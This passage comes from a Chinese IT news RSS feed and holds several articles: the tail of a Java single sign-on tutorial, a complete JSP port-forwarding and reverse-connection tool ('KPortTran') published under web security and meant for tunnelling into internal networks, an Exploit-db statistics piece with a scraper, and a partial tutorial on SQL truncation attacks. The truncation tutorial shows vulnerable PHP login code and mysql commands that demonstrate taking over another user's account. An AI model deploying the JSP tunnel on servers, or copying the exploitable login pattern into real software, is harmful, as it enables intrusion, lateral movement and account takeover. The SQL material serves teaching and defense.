  &lt;li&gt;验证用户的登录信息&lt;/li&gt;
  &lt;li&gt;创建全局会话&lt;/li&gt;
  &lt;li&gt;创建授权令牌&lt;/li&gt;
  &lt;li&gt;与sso-client通信发送令牌&lt;/li&gt;
  &lt;li&gt;校验sso-client令牌有效性&lt;/li&gt;
  &lt;li&gt;系统注册&lt;/li&gt;
  &lt;li&gt;接收sso-client注销请求，注销所有会话&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;接下来，我们按照原理来一步步实现sso吧！&lt;/p&gt;
 &lt;h3&gt;1、sso-client拦截未登录请求&lt;/h3&gt;
 &lt;p&gt;java拦截请求的方式有servlet、filter、listener三种方式，我们采用filter。在sso-client中新建LoginFilter.java类并实现Filter接口，在doFilter()方法中加入对未登录用户的拦截&lt;/p&gt;
 &lt;div&gt;&lt;/div&gt;
 &lt;pre&gt;public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
    HttpServletRequest req = (HttpServletRequest) request;
    HttpServletResponse res = (HttpServletResponse) response;
    HttpSession session = req.getSession();

    if (session.getAttribute(&amp;quot;isLogin&amp;quot;)) {
        chain.doFilter(request, response);
        return;
    }
    //跳转至sso认证中心
    res.sendRedirect(&amp;quot;sso-server-url-with-system-url&amp;quot;);
}&lt;/pre&gt;
 &lt;h3&gt;2、sso-server拦截未登录请求&lt;/h3&gt;
 &lt;p&gt;拦截从sso-client跳转至sso认证中心的未登录请求，跳转至登录页面，这个过程与sso-client完全一样&lt;/p&gt;
 &lt;h3&gt;3、sso-server验证用户登录信息&lt;/h3&gt;
 &lt;p&gt;用户在登录页面输入用户名密码，请求登录，sso认证中心校验用户信息，校验成功，将会话状态标记为“已登录”&lt;/p&gt;
 &lt;div&gt;&lt;/div&gt;
 &lt;pre&gt;@RequestMapping(&amp;quot;/login&amp;quot;)
public String login(String username, String password, HttpServletRequest req) {
    this.checkLoginInfo(username, password);
    req.getSession().setAttribute(&amp;quot;isLogin&amp;quot;, true);
    return &amp;quot;success&amp;quot;;
}&lt;/pre&gt;
 &lt;h3&gt;4、sso-server创建授权令牌&lt;/h3&gt;
 &lt;p&gt;授权令牌是一串随机字符，以什么样的方式生成都没有关系，只要不重复、不易伪造即可，下面是一个例子&lt;/p&gt;
 &lt;div&gt;&lt;/div&gt;
 &lt;pre&gt;String token = UUID.randomUUID().toString();&lt;/pre&gt;
 &lt;h3&gt;5、sso-client取得令牌并校验&lt;/h3&gt;
 &lt;p&gt;sso认证中心登录后，跳转回子系统并附上令牌，子系统（sso-client）取得令牌，然后去sso认证中心校验，在LoginFilter.java的doFilter()中添加几行&lt;/p&gt;
 &lt;div&gt;&lt;/div&gt;
 &lt;pre&gt;// 请求附带token参数
String token = req.getParameter(&amp;quot;token&amp;quot;);
if (token != null) {
    // 去sso认证中心校验token
    boolean verifyResult = this.verify(&amp;quot;sso-server-verify-url&amp;quot;, token);
    if (!verifyResult) {
        res.sendRedirect(&amp;quot;sso-server-url&amp;quot;);
        return;
    }
    chain.doFilter(request, response);
}&lt;/pre&gt;
 &lt;p&gt;verify()方法使用httpClient实现，这里仅简略介绍，httpClient详细使用方法请参考官方文档&lt;/p&gt;
 &lt;div&gt;&lt;/div&gt;
 &lt;pre&gt;HttpPost httpPost = new HttpPost(&amp;quot;sso-server-verify-url-with-token&amp;quot;);
HttpResponse httpResponse = httpClient.execute(httpPost);&lt;/pre&gt;
 &lt;h3&gt;6、sso-server接收并处理校验令牌请求&lt;/h3&gt;
 &lt;p&gt;用户在sso认证中心登录成功后，sso-server创建授权令牌并存储该令牌，所以，sso-server对令牌的校验就是去查找这个令牌是否存在以及是否过期，令牌校验成功后sso-server将发送校验请求的系统注册到sso认证中心（就是存储起来的意思）&lt;/p&gt;
 &lt;p&gt;令牌与注册系统地址通常存储在key-value数据库（如redis）中，redis可以为key设置有效时间也就是令牌的有效期。redis运行在内存中，速度非常快，正好sso-server不需要持久化任何数据。&lt;/p&gt;
 &lt;p&gt;令牌与注册系统地址可以用下图描述的结构存储在redis中，可能你会问，为什么要存储这些系统的地址？如果不存储，注销的时候就麻烦了，用户向sso认证中心提交注销请求，sso认证中心注销全局会话，但不知道哪些系统用此全局会话建立了自己的局部会话，也不知道要向哪些子系统发送注销请求注销局部会话&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155245131-1627814924.png" rel="lightbox[22863]" title="3b221593-f9c4-45af-a567-4937786993e8"&gt;   &lt;img alt="3b221593-f9c4-45af-a567-4937786993e8" border="0" height="147" src="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155245506-1069288802.png" title="3b221593-f9c4-45af-a567-4937786993e8" width="337"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;h3&gt;7、sso-client校验令牌成功创建局部会话&lt;/h3&gt;
 &lt;p&gt;令牌校验成功后，sso-client将当前局部会话标记为“已登录”，修改LoginFilter.java，添加几行&lt;/p&gt;
 &lt;div&gt;&lt;/div&gt;
 &lt;pre&gt;if (verifyResult) {
    session.setAttribute(&amp;quot;isLogin&amp;quot;, true);
}&lt;/pre&gt;
 &lt;p&gt;sso-client还需将当前会话id与令牌绑定，表示这个会话的登录状态与令牌相关，此关系可以用java的hashmap保存，保存的数据用来处理sso认证中心发来的注销请求&lt;/p&gt;
 &lt;h3&gt;8、注销过程&lt;/h3&gt;
 &lt;p&gt;用户向子系统发送带有“logout”参数的请求（注销请求），sso-client拦截器拦截该请求，向sso认证中心发起注销请求&lt;/p&gt;
 &lt;div&gt;&lt;/div&gt;
 &lt;pre&gt;String logout = req.getParameter(&amp;quot;logout&amp;quot;);
if (logout != null) {
    this.ssoServer.logout(token);
}&lt;/pre&gt;
 &lt;p&gt;sso认证中心也用同样的方式识别出sso-client的请求是注销请求（带有“logout”参数），sso认证中心注销全局会话&lt;/p&gt;
 &lt;div&gt;&lt;/div&gt;
 &lt;pre&gt;@RequestMapping(&amp;quot;/logout&amp;quot;)
public String logout(HttpServletRequest req) {
    HttpSession session = req.getSession();
    if (session != null) {
        session.invalidate();//触发LogoutListener
    }
    return &amp;quot;redirect:/&amp;quot;;
}&lt;/pre&gt;
 &lt;p&gt;sso认证中心有一个全局会话的监听器，一旦全局会话注销，将通知所有注册系统注销&lt;/p&gt;
 &lt;div&gt;&lt;/div&gt;
 &lt;div&gt;
  &lt;pre&gt;public class LogoutListener implements HttpSessionListener {
    @Override
    public void sessionCreated(HttpSessionEvent event) {}
    @Override
    public void sessionDestroyed(HttpSessionEvent event) {
        //通过httpClient向所有注册系统发送注销请求
    }
}&lt;/pre&gt;
  &lt;p&gt;（完）&lt;/p&gt;
&lt;/div&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;可能感兴趣的文章&lt;/h3&gt;
 &lt;ul&gt;
  &lt;li&gt;   &lt;a href="http://www.importnew.com/2223.html"&gt;常见Java面试题 – 第二部分：equals与==&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://www.importnew.com/4650.html"&gt;Google I/O 2013 Android Session 之 Android开发者工具更新&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://www.importnew.com/7957.html"&gt;Java Web开发框架对比—Part1—快速原型&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://www.importnew.com/12511.html"&gt;Java Code Review清单&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://www.importnew.com/18030.html"&gt;单例与序列化的那些事儿&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://www.importnew.com/19429.html"&gt;Java对象的内存布局&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://www.importnew.com/19771.html"&gt;Java7里try-with-resources分析&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://www.importnew.com/20086.html"&gt;Java内存模型&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://www.importnew.com/21102.html"&gt;【调侃】IOC前世今生&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://www.importnew.com/22374.html"&gt;Java的常见误区与细节&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>Web开发 单点登录</category>
      <guid isPermaLink="true">https://itindex.net/detail/56416-%E5%8D%95%E7%82%B9%E7%99%BB%E5%BD%95-%E5%8E%9F%E7%90%86</guid>
      <pubDate>Fri, 23 Dec 2016 07:37:33 CST</pubDate>
    </item>
    <item>
      <title>JSP端口转发神器：KPortTran</title>
      <link>https://itindex.net/detail/56749-jsp-%E7%AB%AF%E5%8F%A3-%E7%A5%9E%E5%99%A8</link>
      <description>&lt;p&gt;back.jsp?lip=本地ip&amp;amp;lp=本地端口&amp;amp;rip=远程ip&amp;amp;rp=远程端口&amp;amp;lp2=本地端口2//本地监听转发到第二个端口&amp;amp;m=运行模式//合法的值有：listen tran slave三种&lt;/p&gt;
 &lt;p&gt;m = listen  &lt;br /&gt;
需要参数:lp、lp2  &lt;br /&gt;
该模式下，会在本地监听两个端口，相互转发数据  &lt;br /&gt;
m = tran  &lt;br /&gt;
需要参数：lip、lp、rip、rp  &lt;br /&gt;
该模式为正向转发下，会在本地的lip上监听lp端口，当有连接建立时，再连接rip的rp端口。并将lip的lp上接收到的数据发向rip主机的rp端口。  &lt;br /&gt;
m = slave  &lt;br /&gt;
需要的参数： lip、lp、rip、rp  &lt;br /&gt;
该模式为反向转发，会分别连接主机lip的lp端口 和 主机rip的rp端口。并转发两者数据，可用于内网反连。&lt;/p&gt; &lt;pre&gt;&amp;lt;%@page pageEncoding=&amp;quot;GBK&amp;quot;%&amp;gt;
&amp;lt;%@page import=&amp;quot;java.io.*&amp;quot;%&amp;gt;
&amp;lt;%@page import=&amp;quot;java.util.*&amp;quot;%&amp;gt;
&amp;lt;%@page import=&amp;quot;java.nio.charset.*&amp;quot;%&amp;gt;
&amp;lt;%@page import=&amp;quot;javax.servlet.http.HttpServletRequestWrapper&amp;quot;%&amp;gt;
&amp;lt;%@page import=&amp;quot;java.net.*&amp;quot;%&amp;gt;
&amp;lt;%
/*code by KingX*/
class KPortTran {
    public void listen(String port1, String port2) {
        ServerSocket listenServerSocket = null;
        ServerSocket outServerSocket = null;
        try {
            listenServerSocket = new ServerSocket(Integer.parseInt(port1));
            outServerSocket = new ServerSocket(Integer.parseInt(port2));
        } catch (NumberFormatException e) {
             
        } catch (IOException e) {
        }
        Socket listenSocket = null;
        Socket outSocket = null;
        try {
            while (true) {  
                listenSocket = listenServerSocket.accept();
                outSocket = outServerSocket.accept();
                new tranThread(outSocket, listenSocket).start();
                new tranThread(listenSocket, outSocket).start();
                Thread.sleep(200);
            }
        } catch (Exception e) { 
      }
    }
 
    public void slave(String targetIP, String port1, String srcIP, String port2) throws IOException {
        InetAddress src = InetAddress.getByName(srcIP);
        InetAddress dest = InetAddress.getByName(targetIP);
        int p1 = Integer.parseInt(port1);
        int p2 = Integer.parseInt(port2);
        new Server(src, p2, dest, p1, true);
    }
 
    public void tran(String srcIP, String port1, String targetIP, String port2)
            throws NumberFormatException, IOException {
        InetAddress src = InetAddress.getByName(srcIP);
        InetAddress dest = InetAddress.getByName(targetIP);
        int p1 = Integer.parseInt(port1);
        int p2 = Integer.parseInt(port2);
        new Server(src, p1, dest, p2, false);
    }
class tranThread extends Thread {
    Socket in;
    Socket out;
    InputStream is;
    OutputStream os;
    public tranThread(Socket in, Socket out) throws IOException {
        this.is = in.getInputStream();
        this.os = out.getOutputStream();
        this.in = in;
        this.out = out;
    }
 
    private void closeSocket() {
        try {
            is.close();
            os.close();
            in.close();
            out.close();
        } catch (IOException e) {
        }
    }
    @Override
    public void run() {
        super.run();
        byte[] buffer = new byte[4096];
        int len = -1;
        try {
            while (true) {
                if (in.isClosed() || out.isClosed()|| (len = is.read(buffer, 0, buffer.length)) == -1) {
                    break;
                } else {
                    os.write(buffer, 0, len);
                    os.flush(); 
                }
            }
        } catch (IOException e) {
            closeSocket();
        } finally {
            closeSocket();
        }
    }
}
 
 
class Server extends Thread {
    InetAddress src;
    InetAddress dest;
    int p1, p2;
    boolean reverse = false;
     
    public Server(InetAddress srcIP, int srcPort, InetAddress targetIP,
            int targetPort, boolean flag) {
        this.src = srcIP;
        this.dest = targetIP;
        this.p1 = srcPort;
        this.p2 = targetPort;
        this.reverse = flag;
        start();
    }
 
    @Override
    public void run() {
        super.run();
        if (reverse) {
            try {
                Socket s = new Socket(src, p1);
                Socket s2 = new Socket(dest, p2);
                new tranThread(s, s2).start();
                new tranThread(s2, s).start();
 
                while (true) {
                    if (s2.isClosed() || s.isClosed()) {
                        if (s2.isClosed()) {
                            s2 = new Socket(dest, p2);
                        }
                        if (s.isClosed()) {
                            s = new Socket(src, p1);
                        }
                        new tranThread(s, s2).start();
                        new tranThread(s2, s).start();
                    }
                    Thread.sleep(1000);
                }
            } catch (IOException e) {
            } catch (InterruptedException e) {
            }
 
        } else {
            ServerSocket ss;
            try {
                ss = new ServerSocket(p1, 5, src);
 
                while (true) {
                    Socket s = ss.accept();
                    Socket s2 = new Socket(dest, p2);
                    new tranThread(s, s2).start();
                    new tranThread(s2, s).start();
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}
}
%&amp;gt;
&amp;lt;%
final String localIP = request.getParameter(&amp;quot;lip&amp;quot;);
final String localPort = request.getParameter(&amp;quot;lp&amp;quot;);
final String localPort2 = request.getParameter(&amp;quot;lp2&amp;quot;);
final String remoteIP =request.getParameter(&amp;quot;rip&amp;quot;);
final String remotePort =request.getParameter(&amp;quot;rp&amp;quot;);
final String mode =request.getParameter(&amp;quot;m&amp;quot;);
 
KPortTran pt = new KPortTran();
if (mode.equals(&amp;quot;tran&amp;quot;)) {
    pt.tran(localIP, localPort, remoteIP , remotePort);
}
if (mode.equals(&amp;quot;slave&amp;quot;)) {
    pt.slave(localIP, localPort, remoteIP , remotePort);
}
if (mode.equals(&amp;quot;listen&amp;quot;)) {
    pt.listen(localPort, localPort2);
}
 
%&amp;gt;&lt;/pre&gt; &lt;p&gt; &lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>web 安全</category>
      <guid isPermaLink="true">https://itindex.net/detail/56749-jsp-%E7%AB%AF%E5%8F%A3-%E7%A5%9E%E5%99%A8</guid>
      <pubDate>Fri, 10 Mar 2017 10:07:18 CST</pubDate>
    </item>
    <item>
      <title>2016年度Web漏洞统计之Exploit-db</title>
      <link>https://itindex.net/detail/56590-web-%E6%BC%8F%E6%B4%9E-%E7%BB%9F%E8%AE%A1</link>
      <description>&lt;p&gt;  &lt;strong&gt;2016年我们耳边经常想起“大数据”、“物联网”、“云”、“工控系统”等关键词，很多个厂家、行业都在热火朝天的做着“大数据”，随着2016年的过去，新的一年到来，让我们也针对web漏洞进行一次“大数据”分析。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;众所周知的  &lt;a href="https://www.exploit-db.com"&gt;https://www.exploit-db.com&lt;/a&gt;是面向全世界黑客的一个漏洞提交平台，那么我们分析下2016年度web漏洞情况。&lt;/p&gt;
 &lt;p&gt;打开  &lt;a href="https://www.exploit-db.com/webapps"&gt;https://www.exploit-db.com/webapps&lt;/a&gt;后发现Web Application Exploits是一行行的漏洞列表。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#26080;&amp;#26631;&amp;#39064;.png" height="342" src="http://image.3001.net/images/20170116/14845486443145.png!small" width="558"&gt;&lt;/img&gt;  &lt;br /&gt;&lt;/p&gt;
 &lt;p&gt;每个漏洞都占有一行，显示漏洞的Date、Title、Platform、Author，可以点击Title查看详细的漏洞。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#26080;&amp;#26631;&amp;#39064;.png" height="318" src="http://image.3001.net/images/20170116/14845486896879.png!small" width="558"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;在查看了多个漏洞页面后可以看出，每个漏洞的页面可以由编号来区分的，而且编号是增量的。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#26080;&amp;#26631;&amp;#39064;.png" height="257" src="http://image.3001.net/images/20170116/14845487154857.png!small" width="558"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#26080;&amp;#26631;&amp;#39064;.png" height="211" src="http://image.3001.net/images/20170116/14845487421207.png!small" width="558"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;于是，针对web漏洞的“大数据”分析思路如下：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;1.编写python爬虫，把2016年的web漏洞进行数据爬取（目前来说网页爬虫主流一直是python，开发效率高，代码编写简单）&lt;/p&gt;
  &lt;p&gt;2.将python爬虫爬取的数据输出到excle&lt;/p&gt;
  &lt;p&gt;3.使用excle进行二次数据梳理，统计漏洞排行、开发语言、漏洞数量&lt;/p&gt;
  &lt;p&gt;4.图表展示，使用office任何工具均可&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;中间过程省略，文章末尾会发放python爬虫的部分代码。&lt;/p&gt;
 &lt;p&gt;以下便是2016年度根据  &lt;a href="https://www.exploit-db.com"&gt;https://www.exploit-db.com&lt;/a&gt;的数据统一出全球黑客的web漏洞“大数据”分析。&lt;/p&gt;
 &lt;h3&gt;0X001各漏洞占有率  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;  &lt;img alt="&amp;#26080;&amp;#26631;&amp;#39064;.png" height="343" src="http://image.3001.net/images/20170116/14845487693383.png!small" width="558"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;看来还是SQL注入漏洞最多，CSRF、CSS分别列第二、第三位。&lt;/p&gt;
 &lt;h3&gt;0X002各漏洞对应的开发语言  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;  &lt;img alt="&amp;#26080;&amp;#26631;&amp;#39064;.png" height="304" src="http://image.3001.net/images/20170116/14845487925157.png!small" width="524"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;还是开源的PHP问题最多，ASPX、Python的最少。&lt;/p&gt;
 &lt;h3&gt;0X003每个月度的漏洞数量分布&lt;/h3&gt;
 &lt;p&gt;  &lt;img alt="&amp;#26080;&amp;#26631;&amp;#39064;.png" height="350" src="http://image.3001.net/images/20170116/14845488126915.png!small" width="499"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;2016年6月、10月漏洞提交数量最多，是因为黑客们放假在家无聊吗？&lt;/p&gt;
 &lt;h3&gt;0X004世界黑客漏洞提交排行Top10&lt;/h3&gt;
 &lt;p&gt;  &lt;img alt="&amp;#26080;&amp;#26631;&amp;#39064;.png" height="313" src="http://image.3001.net/images/20170116/14845488331126.png!small" width="522"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;2016年度提交web漏洞的黑客有235人，其中有几位是中国人，以上是漏洞提交的黑客前10名，第11名与第10名并列。&lt;/p&gt;
 &lt;h3&gt;0X005结尾&lt;/h3&gt;
 &lt;p&gt;在文章结尾发放python爬虫源码：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&lt;/code&gt;  &lt;p&gt;   &lt;code&gt;#-*-coding:utf-8-*-&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;#爬取ebay网站页面，设置个数，并保存源码文件&lt;/p&gt;  &lt;p&gt;#适用于URL后面有固定字符+数字的网站&lt;/p&gt;  &lt;p&gt;import urllib &lt;/p&gt;  &lt;p&gt;import urllib2 &lt;/p&gt;  &lt;p&gt;def getPage(url):    &lt;/p&gt;  &lt;p&gt;   request = urllib2.Request(url) &lt;/p&gt;  &lt;p&gt;   response = urllib2.urlopen(request) &lt;/p&gt;  &lt;p&gt;   return response.read()     &lt;/p&gt;  &lt;p&gt;url=&amp;apos;http://www.ebay.com/sch/TShirts-/15687/i.html?Style=Basic%2520Tee&amp;amp;_dcat=15687&amp;amp;Color=Black&amp;apos; &lt;/p&gt;  &lt;p&gt;p=0 &lt;/p&gt;  &lt;p&gt;#设置爬取的页面个数为5个&lt;/p&gt;  &lt;p&gt;while p&amp;lt;5: &lt;/p&gt;  &lt;p&gt;   print &amp;apos; ==&amp;apos;+str(p+1)+&amp;apos;==start==&amp;apos; &lt;/p&gt;  &lt;p&gt;   result=getPage(url+&amp;apos;&amp;amp;_pgn=&amp;apos;+str(p+1)) &lt;/p&gt;  &lt;p&gt;   txt=&amp;apos;D:\\result&amp;apos;+str(p+1)+&amp;apos;.html&amp;apos; &lt;/p&gt;  &lt;p&gt;    f= open(txt,&amp;quot;w+&amp;quot;) &lt;/p&gt;  &lt;p&gt;   f.write(result) &lt;/p&gt;  &lt;p&gt;   print &amp;apos; ==&amp;apos;+str(p+1)+&amp;apos;====end==&amp;apos; &lt;/p&gt;  &lt;p&gt;   p=p+1 &lt;/p&gt;  &lt;p&gt;f.close()&lt;/p&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;另外，数据整理可以有很多方法，给各位读者留下一个小作业，如何在爬取数据后如何进行数据整理。&lt;/p&gt;
 &lt;p&gt;文章就到这里，各位再见！2017年到了，祝各位新年快乐！&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;*本文作者：youyou0635，转载请注明来自FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 专题 漏洞 exploit-db 大数据分析</category>
      <guid isPermaLink="true">https://itindex.net/detail/56590-web-%E6%BC%8F%E6%B4%9E-%E7%BB%9F%E8%AE%A1</guid>
      <pubDate>Mon, 23 Jan 2017 12:00:13 CST</pubDate>
    </item>
    <item>
      <title>基于约束的SQL攻击</title>
      <link>https://itindex.net/detail/56520-%E7%BA%A6%E6%9D%9F-sql-%E6%94%BB%E5%87%BB</link>
      <description>&lt;h2&gt;前言&lt;/h2&gt;
 &lt;blockquote&gt;  &lt;p&gt;值得庆幸的是如今开发者在构建网站时，已经开始注重安全问题了。绝大部分开发者都意识到SQL注入漏洞的存在，在本文我想与读者共同去探讨另一种与SQL数据库相关的漏洞，其危害与SQL注入不相上下，但却不太常见。接下来，我将为读者详细展示这种攻击手法，以及相应的防御策略。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;注意：本文不是讲述SQL注入攻击&lt;/p&gt;
 &lt;h2&gt;背景介绍&lt;/h2&gt;
 &lt;p&gt;最近，我遇到了一个有趣的代码片段，开发者尝试各种方法来确保数据库的安全访问。当新用户尝试注册时，将运行以下代码：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;?php
// Checking whether a user with the same username exists
$username = mysql_real_escape_string($_GET[&amp;apos;username&amp;apos;]);
$password = mysql_real_escape_string($_GET[&amp;apos;password&amp;apos;]);
$query = &amp;quot;SELECT *
          FROM users
          WHERE username=&amp;apos;$username&amp;apos;&amp;quot;;
$res = mysql_query($query, $database);
if($res) {
  if(mysql_num_rows($res) &amp;gt; 0) {
    // User exists, exit gracefully
    .
    .
  }
  else {
    // If not, only then insert a new entry
    $query = &amp;quot;INSERT INTO users(username, password)
              VALUES (&amp;apos;$username&amp;apos;,&amp;apos;$password&amp;apos;)&amp;quot;;
    .
    .
  }
}
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;使用以下代码验证登录信息：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;?php
$username = mysql_real_escape_string($_GET[&amp;apos;username&amp;apos;]);
$password = mysql_real_escape_string($_GET[&amp;apos;password&amp;apos;]);
$query = &amp;quot;SELECT username FROM users
          WHERE username=&amp;apos;$username&amp;apos;
              AND password=&amp;apos;$password&amp;apos; &amp;quot;;
$res = mysql_query($query, $database);
if($res) {
  if(mysql_num_rows($res) &amp;gt; 0){
      $row = mysql_fetch_assoc($res);
      return $row[&amp;apos;username&amp;apos;];
  }
}
return Null;
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;安全考虑:&lt;/p&gt;
 &lt;blockquote&gt;  &lt;ul&gt;
   &lt;li&gt;
    &lt;p&gt;过滤用户输入参数了吗？ — 完成检查&lt;/p&gt;
&lt;/li&gt;
   &lt;li&gt;
    &lt;p&gt;使用单引号（’）来增加安全性了吗？ — 完成检查&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
 &lt;p&gt;按理说应该不会出错了啊？&lt;/p&gt;
 &lt;p&gt;然而，攻击者依然能够以任意用户身份进行登录！&lt;/p&gt;
 &lt;h2&gt;攻击手法&lt;/h2&gt;
 &lt;p&gt;在谈论这种攻击手法之前，首先我们需要了解几个关键知识点。&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;
   &lt;p&gt;在SQL中执行字符串处理时，字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”，对于绝大多数情况来说都是成立的（诸如WHERE子句中的字符串或INSERT语句中的字符串）例如以下语句的查询结果，与使用用户名“vampire”进行查询时的结果是一样的。&lt;/p&gt;
   &lt;pre&gt;    &lt;code&gt;SELECT * FROM users WHERE username=&amp;apos;vampire     &amp;apos;;
&lt;/code&gt;&lt;/pre&gt;
   &lt;p&gt;但也存在异常情况，最好的例子就是LIKE子句了。注意，对尾部空白符的这种修剪操作，主要是在“字符串比较”期间进行的。这是因为，SQL会在    &lt;a href="https://support.microsoft.com/en-in/kb/316626"&gt;内部&lt;/a&gt;使用空格来填充字符串，以便在比较之前使其它们的长度保持一致。&lt;/p&gt;
&lt;/li&gt;
  &lt;li&gt;
   &lt;p&gt;在所有的INSERT查询中，SQL都会根据varchar(n)来限制字符串的最大长度。也就是说，如果字符串的长度大于“n”个字符的话，那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符，那么在插入字符串“vampire”时，实际上只能插入字符串的前5个字符，即“vampi”。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;现在，让我们建立一个测试数据库来演示具体攻击过程。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;vampire@linux:~$ mysql -u root -p
mysql&amp;gt; CREATE DATABASE testing;
Query OK, 1 row affected (0.03 sec)
mysql&amp;gt; USE testing;
Database changed
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;接着创建一个数据表users，其包含username和password列，并且字段的最大长度限制为25个字符。然后，我将向username字段插入“vampire”，向password字段插入“my_password”。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;mysql&amp;gt; CREATE TABLE users (
    -&amp;gt;   username varchar(25),
    -&amp;gt;   password varchar(25)
    -&amp;gt; );
Query OK, 0 rows affected (0.09 sec)
mysql&amp;gt; INSERT INTO users
    -&amp;gt; VALUES(&amp;apos;vampire&amp;apos;, &amp;apos;my_password&amp;apos;);
Query OK, 1 row affected (0.11 sec)
mysql&amp;gt; SELECT * FROM users;
+----------+-------------+
| username | password    |
+----------+-------------+
| vampire  | my_password |
+----------+-------------+
1 row in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;为了展示尾部空白字符的修剪情况，我们可以键入下列命令：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;mysql&amp;gt; SELECT * FROM users
    -&amp;gt; WHERE username=&amp;apos;vampire       &amp;apos;;
+----------+-------------+
| username | password    |
+----------+-------------+
| vampire  | my_password |
+----------+-------------+
1 row in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;现在我们假设一个存在漏洞的网站使用了前面提到的PHP代码来处理用户的注册及登录过程。为了侵入任意用户的帐户（在本例中为“vampire”），只需要使用用户名“vampire[许多空白符]1”和一个随机密码进行注册即可。对于选择的用户名，前25个字符应该只包含vampire和空白字符，这样做将有助于绕过检查特定用户名是否已存在的查询。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;mysql&amp;gt; SELECT * FROM users
    -&amp;gt; WHERE username=&amp;apos;vampire                   1&amp;apos;;
Empty set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;需要注意的是，在执行SELECT查询语句时，SQL是不会将字符串缩短为25个字符的。因此，这里将使用完整的字符串进行搜索，所以不会找到匹配的结果。接下来，当执行INSERT查询语句时，它只会插入前25个字符。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;mysql&amp;gt;   INSERT INTO users(username, password)
    -&amp;gt; VALUES (&amp;apos;vampire                   1&amp;apos;, &amp;apos;random_pass&amp;apos;);
Query OK, 1 row affected, 1 warning (0.05 sec)
mysql&amp;gt; SELECT * FROM users
    -&amp;gt; WHERE username=&amp;apos;vampire&amp;apos;;
+---------------------------+-------------+
| username                  | password    |
+---------------------------+-------------+
| vampire                   | my_password |
| vampire                   | random_pass |
+---------------------------+-------------+
2 rows in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
